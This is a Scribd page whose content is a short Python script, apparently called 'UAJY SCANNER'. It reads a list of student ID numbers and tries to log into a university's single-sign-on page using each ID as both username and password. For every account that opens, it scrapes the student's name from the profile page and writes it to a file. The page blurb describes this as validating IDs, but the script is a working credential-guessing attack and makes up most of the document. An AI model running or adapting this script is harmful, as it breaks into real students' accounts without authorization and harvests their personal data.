0% found this document useful (0 votes)
17 views1 page

As

The document contains code to scan student IDs from a file and check if they are valid by logging into a university website and extracting student profile information. It prints out the results and saves valid IDs to a text file.

Uploaded by

muhamad anwar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
17 views1 page

As

The document contains code to scan student IDs from a file and check if they are valid by logging into a university website and extracting student profile information. It prints out the results and saves valid IDs to a text file.

Uploaded by

muhamad anwar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

import os

os.system('clear')
import requests as req
from bs4 import BeautifulSoup as bs

print("\033[2;33;40m===============================\n\033[2;32;40mU A J Y S C A N
N E R | AlifSP\n\033[2;33;40m•••••••••••••••••••••••••••••••")
file = input('\033[1;32;40mMasukan File Nim 》 ')
print("\033[2;33;40m===============================\n\033[1;36;40m[ Scan Started...
]")
try:
with open(file, 'r') as wl:
lines = wl.readlines()
num = 0
for id in lines:
num += 1
url = 'https://sso.ui.ac.id/cas/login/Index.aspx'
res = req.Session()
raw = res.get(url).text
gas = bs(raw, 'html.parser').findAll('input')
vs1 = gas[0]['value']
vs2 = gas[1]['value']
evr = gas[2]['value']
dat = { "__VIEWSTATE": vs1,
"__VIEWSTATEGENERATOR": vs2,
"__EVENTVALIDATION": evr,
"txtUsername": id.strip(),
"txtPassword": id.strip(),
"btnLogin": "submit" }
rsp = res.post(url, data=dat).text
inf =
res.get('https://academic.ui.ac.id/main/Authentication/Index/View/ProfilMahasiswa.a
spx').text
try:
arn = bs(inf, 'html.parser').findAll('tr')
[3].findAll('span')[1]
print(f'\033[97m{num}] \033[92m{id.strip()} \
033[97m》\033[92m {arn.get_text()}')
with open('uajy.txt', 'a') as ok:
ok.write(f'{id.strip()} > {arn.get_text()}\n')
except:
print(f'\033[97m{num}] \033[91m{id.strip()} \
033[97m》\033[91m TAIK')
exit('\033[96m\nNim Yang berhasil Login Tersimpan Di ui.txt')
except Exception as er:
print(f'\033[91m{er}')

You might also like